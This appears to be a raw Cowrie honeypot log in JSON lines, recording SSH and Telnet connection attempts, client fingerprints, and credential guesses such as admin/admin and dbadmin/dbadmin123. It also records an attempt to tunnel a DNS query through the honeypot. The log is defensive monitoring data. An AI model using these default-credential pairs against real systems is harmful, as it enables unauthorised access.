{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:50:07.683691Z","src_ip":"87.251.64.176","session":"2fab6aeb5ab2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:50:07.979980Z","src_ip":"87.251.64.176","session":"2fab6aeb5ab2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:50:08.088487Z","session":"2fab6aeb5ab2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:50:08.187076Z","src_ip":"87.251.64.176","session":"2fab6aeb5ab2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:50:08.287032Z","src_ip":"87.251.64.176","session":"2fab6aeb5ab2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.230.120.231","src_port":59680,"dst_ip":"10.17.0.5","dst_port":22,"session":"701f0b972158","protocol":"ssh","message":"New connection: 187.230.120.231:59680 (10.17.0.5:22) [session: 701f0b972158]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:50:20.589135Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:50:20.594340Z","src_ip":"187.230.120.231","session":"701f0b972158","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:50:20.708987Z","src_ip":"187.230.120.231","session":"701f0b972158","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbadmin","password":"dbadmin123","message":"login attempt [dbadmin/dbadmin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:50:21.189061Z","src_ip":"187.230.120.231","session":"701f0b972158","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:50:22.304047Z","src_ip":"187.230.120.231","session":"701f0b972158","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":57024,"dst_ip":"159.203.135.109","dst_port":22,"session":"09398f26f60e","protocol":"ssh","message":"New connection: 47.239.15.75:57024 (159.203.135.109:22) [session: 09398f26f60e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:50:30.038289Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:50:30.044481Z","src_ip":"47.239.15.75","session":"09398f26f60e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.197.105","src_port":50678,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc4b0cae3b82","protocol":"ssh","message":"New connection: 50.6.197.105:50678 (10.17.0.5:22) [session: bc4b0cae3b82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:50:36.118906Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:50:36.124471Z","src_ip":"50.6.197.105","session":"bc4b0cae3b82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:50:36.172390Z","src_ip":"50.6.197.105","session":"bc4b0cae3b82","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f2:25:48:06:92:17:66:06:83:9d:7c:ba:33:e4:b0:83","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFQNf0RXXgA91KcTQY0qfktaWQOR13c4T/8xuPtOtqjK","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint f2:25:48:06:92:17:66:06:83:9d:7c:ba:33:e4:b0:83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:50:36.378172Z","src_ip":"50.6.197.105","session":"bc4b0cae3b82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f2:25:48:06:92:17:66:06:83:9d:7c:ba:33:e4:b0:83","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFQNf0RXXgA91KcTQY0qfktaWQOR13c4T/8xuPtOtqjK","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:50:36.381997Z","src_ip":"50.6.197.105","session":"bc4b0cae3b82","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ce:04:66:09:fb:c8:cc:f6:b6:6b:80:6a:3d:11:71:f3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgL5X5X7jVquThAybWU9YijShiU3783TXKsT50hwjwsfcRGMNONlxDfYglE4tD2ILZwAVKmrpNAE9PKsDVpxxwOThUzNxn8Eo8+vXbXCNFugANlpJZEe8Q9zlAwKlXaeMw+oXtnWMEGF2WD9x1dEQBINiHhLZDbr94bp3muITfM8mM3w0YUlyXSxIpO50L0flwsXbYI0oCv3UWUeDc2hrLqzobTy9M+liION9JfHPeCLxRWrMItYo4eIcs5CYMz6HRFUVQQIcjtqpyHulx/01hAeF43oSEbqyGmOZ4OcXbeA8JwTcdn8ZFWjdYHUYNC0fYAElxLmm+gkjJpVfCAydv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ce:04:66:09:fb:c8:cc:f6:b6:6b:80:6a:3d:11:71:f3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:50:36.436589Z","src_ip":"50.6.197.105","session":"bc4b0cae3b82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ce:04:66:09:fb:c8:cc:f6:b6:6b:80:6a:3d:11:71:f3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgL5X5X7jVquThAybWU9YijShiU3783TXKsT50hwjwsfcRGMNONlxDfYglE4tD2ILZwAVKmrpNAE9PKsDVpxxwOThUzNxn8Eo8+vXbXCNFugANlpJZEe8Q9zlAwKlXaeMw+oXtnWMEGF2WD9x1dEQBINiHhLZDbr94bp3muITfM8mM3w0YUlyXSxIpO50L0flwsXbYI0oCv3UWUeDc2hrLqzobTy9M+liION9JfHPeCLxRWrMItYo4eIcs5CYMz6HRFUVQQIcjtqpyHulx/01hAeF43oSEbqyGmOZ4OcXbeA8JwTcdn8ZFWjdYHUYNC0fYAElxLmm+gkjJpVfCAydv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:50:36.440516Z","src_ip":"50.6.197.105","session":"bc4b0cae3b82","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"81:91:68:70:eb:61:49:fd:a8:a1:c0:3d:41:71:c1:81","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCiBHDEE/umwYYlrFh/ClzU2ShQBZIp264sZ7fYnLl0jrVhk/seqe7cOuW4mXdQ7kB8YaHMONqBXsr1UWaP5w8h4DDZ09cE2HgwKnSdmuSDnhmryOm8WdWwywrI+WJxI5mVg4BTZHZsHYJkGzmE2dVNeGwuHaMOVqgk27bonGyTptY1/Bs7HSwkF/p9KjJVxKl5AEQELJ8RV3yPc08U86shz8mr9h1yHoDMWKYW4egz4gAu+q3FnEoeWH3/wSd/tZEMeDo0PgDR87O/iWEGEZ+UKJKzOjD2tvIxNEiHP4LDBdwOANSI2GYjCGJLAvGYp/Ul55wIx7ZD5fFfGNkyTUxKHRS28SX9+uvr0EPCMqqdeO+bwITQRJEVsTP+9O0vxdTxjJRZ3Ji5BJ7UAbx6bD4PE/ajaJ0iich//LlV7zwcChspMJNDAlzmR0Zf8kQ/L7q2J2ulK48WWHkVJKE7UcSoZt3FFXhx7StRaQQlu0v1WgEN4c5Q8E22h05O8xgcEQF56mNXfKWLMNc7fbxf0WuWaqyUDfF/YV5MSMtHITC0BsgNdbS5Frx9nAdR8kwx8KPo0NBMD+vflVCxFFXolyHNfSp+Mb/+dvxhvjmjM1ns7GhW0yDaGq+/9cMqhIM5tEaI1KT+1mvB/Z8SkwfBpn8nPDLpsXIpXMS0cOe5qgI4Lw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 81:91:68:70:eb:61:49:fd:a8:a1:c0:3d:41:71:c1:81","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:50:36.487029Z","src_ip":"50.6.197.105","session":"bc4b0cae3b82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"81:91:68:70:eb:61:49:fd:a8:a1:c0:3d:41:71:c1:81","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCiBHDEE/umwYYlrFh/ClzU2ShQBZIp264sZ7fYnLl0jrVhk/seqe7cOuW4mXdQ7kB8YaHMONqBXsr1UWaP5w8h4DDZ09cE2HgwKnSdmuSDnhmryOm8WdWwywrI+WJxI5mVg4BTZHZsHYJkGzmE2dVNeGwuHaMOVqgk27bonGyTptY1/Bs7HSwkF/p9KjJVxKl5AEQELJ8RV3yPc08U86shz8mr9h1yHoDMWKYW4egz4gAu+q3FnEoeWH3/wSd/tZEMeDo0PgDR87O/iWEGEZ+UKJKzOjD2tvIxNEiHP4LDBdwOANSI2GYjCGJLAvGYp/Ul55wIx7ZD5fFfGNkyTUxKHRS28SX9+uvr0EPCMqqdeO+bwITQRJEVsTP+9O0vxdTxjJRZ3Ji5BJ7UAbx6bD4PE/ajaJ0iich//LlV7zwcChspMJNDAlzmR0Zf8kQ/L7q2J2ulK48WWHkVJKE7UcSoZt3FFXhx7StRaQQlu0v1WgEN4c5Q8E22h05O8xgcEQF56mNXfKWLMNc7fbxf0WuWaqyUDfF/YV5MSMtHITC0BsgNdbS5Frx9nAdR8kwx8KPo0NBMD+vflVCxFFXolyHNfSp+Mb/+dvxhvjmjM1ns7GhW0yDaGq+/9cMqhIM5tEaI1KT+1mvB/Z8SkwfBpn8nPDLpsXIpXMS0cOe5qgI4Lw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:50:36.490699Z","src_ip":"50.6.197.105","session":"bc4b0cae3b82","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1b:c1:1d:b4:ab:4a:8c:f8:15:9d:78:5a:b3:53:98:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHf7AkrlHlEWZ55iq4w3pM9rY+VddUzSZdi+bR8gR3TnzMv8SXzatr6Ke9z5C5SHpmyZ8stGN3f+q5uH/L9jV7+scFJvd6mXm4YwlJLPmebb+IsbKkNwUrQSUcr4C/smfWboP1rKC5Au1MM+5rVBbwUDRMhKx4lfQpJrAD0agCcCTLKM6fQHa4m1iLf9M1A5t13s+dhjRi/sWGoJGnQfx6B8/32LXw+wSmLGWSvevBvZUMwgXLfWWCcj+5+IokK7gnYIiPHRkjHTioaUR8g+rDOcZ+ulSghWo1qwAcX3sRQbn4r6eTzP/M9AvRYIbsB8j7dkl5VVn2gr05MCfv95Nf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1b:c1:1d:b4:ab:4a:8c:f8:15:9d:78:5a:b3:53:98:48","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:50:36.541868Z","src_ip":"50.6.197.105","session":"bc4b0cae3b82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1b:c1:1d:b4:ab:4a:8c:f8:15:9d:78:5a:b3:53:98:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHf7AkrlHlEWZ55iq4w3pM9rY+VddUzSZdi+bR8gR3TnzMv8SXzatr6Ke9z5C5SHpmyZ8stGN3f+q5uH/L9jV7+scFJvd6mXm4YwlJLPmebb+IsbKkNwUrQSUcr4C/smfWboP1rKC5Au1MM+5rVBbwUDRMhKx4lfQpJrAD0agCcCTLKM6fQHa4m1iLf9M1A5t13s+dhjRi/sWGoJGnQfx6B8/32LXw+wSmLGWSvevBvZUMwgXLfWWCcj+5+IokK7gnYIiPHRkjHTioaUR8g+rDOcZ+ulSghWo1qwAcX3sRQbn4r6eTzP/M9AvRYIbsB8j7dkl5VVn2gr05MCfv95Nf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:50:36.546286Z","src_ip":"50.6.197.105","session":"bc4b0cae3b82","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c5:c2:0c:c5:95:56:eb:a3:20:8b:f2:57:43:f8:81:44","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtrtAnY8dILoNKdHJV0OaDcUq9gbk7M0kjY3g3bABQLi7A8L4a1KNKX5xpFUpbwCeAPJ3iYiaCx6DCWVbE/zP6mcvvETmsbWBjXI73WGAZp/zhmz/1uHMnppjoobN/ZrkDKtzrv/xvisqu/vSTZmgWnTMDEDw8UeAP0DEhP0BDUYd2XOVKcXtROPFcAQD5h4SbZfDsIjOgIUbD1peWM0/oocwre88ShhuxFrhrCZCElbNqQtZpz+LFZFKdo/fl/yoWry6g2+SBjokNKY+Qe+tLHknPrL+oe7nj+4QjVvOiI+2Ae6z3D+gj42Uo3twEticAznx6zYJ+GHduwUpLSNRWw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c5:c2:0c:c5:95:56:eb:a3:20:8b:f2:57:43:f8:81:44","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:50:36.593189Z","src_ip":"50.6.197.105","session":"bc4b0cae3b82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c5:c2:0c:c5:95:56:eb:a3:20:8b:f2:57:43:f8:81:44","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtrtAnY8dILoNKdHJV0OaDcUq9gbk7M0kjY3g3bABQLi7A8L4a1KNKX5xpFUpbwCeAPJ3iYiaCx6DCWVbE/zP6mcvvETmsbWBjXI73WGAZp/zhmz/1uHMnppjoobN/ZrkDKtzrv/xvisqu/vSTZmgWnTMDEDw8UeAP0DEhP0BDUYd2XOVKcXtROPFcAQD5h4SbZfDsIjOgIUbD1peWM0/oocwre88ShhuxFrhrCZCElbNqQtZpz+LFZFKdo/fl/yoWry6g2+SBjokNKY+Qe+tLHknPrL+oe7nj+4QjVvOiI+2Ae6z3D+gj42Uo3twEticAznx6zYJ+GHduwUpLSNRWw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:50:36.597759Z","src_ip":"50.6.197.105","session":"bc4b0cae3b82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:50:36.643205Z","src_ip":"50.6.197.105","session":"bc4b0cae3b82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.63.236.79","src_port":43364,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a50a70d9629","protocol":"telnet","message":"New connection: 213.63.236.79:43364 (159.203.135.109:23) [session: 7a50a70d9629]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:50:52.055901Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":42568,"dst_ip":"159.203.135.109","dst_port":23,"session":"de91761b1af5","protocol":"telnet","message":"New connection: 147.182.143.59:42568 (159.203.135.109:23) [session: de91761b1af5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:51:08.838192Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":46478,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2d825500f87","protocol":"telnet","message":"New connection: 45.58.127.90:46478 (10.17.0.5:23) [session: b2d825500f87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:51:09.176496Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":46484,"dst_ip":"10.17.0.5","dst_port":23,"session":"70f516ee4477","protocol":"telnet","message":"New connection: 45.58.127.90:46484 (10.17.0.5:23) [session: 70f516ee4477]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:51:13.211629Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.63.236.79","src_port":47434,"dst_ip":"159.203.135.109","dst_port":23,"session":"a3f4a8eeb784","protocol":"telnet","message":"New connection: 213.63.236.79:47434 (159.203.135.109:23) [session: a3f4a8eeb784]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:51:15.383397Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.230.120.231","src_port":36570,"dst_ip":"10.17.0.5","dst_port":22,"session":"dbfa23cefa3c","protocol":"ssh","message":"New connection: 187.230.120.231:36570 (10.17.0.5:22) [session: dbfa23cefa3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:51:17.349381Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:51:17.354400Z","src_ip":"187.230.120.231","session":"dbfa23cefa3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:51:17.467520Z","src_ip":"187.230.120.231","session":"dbfa23cefa3c","protocol":"ssh"}
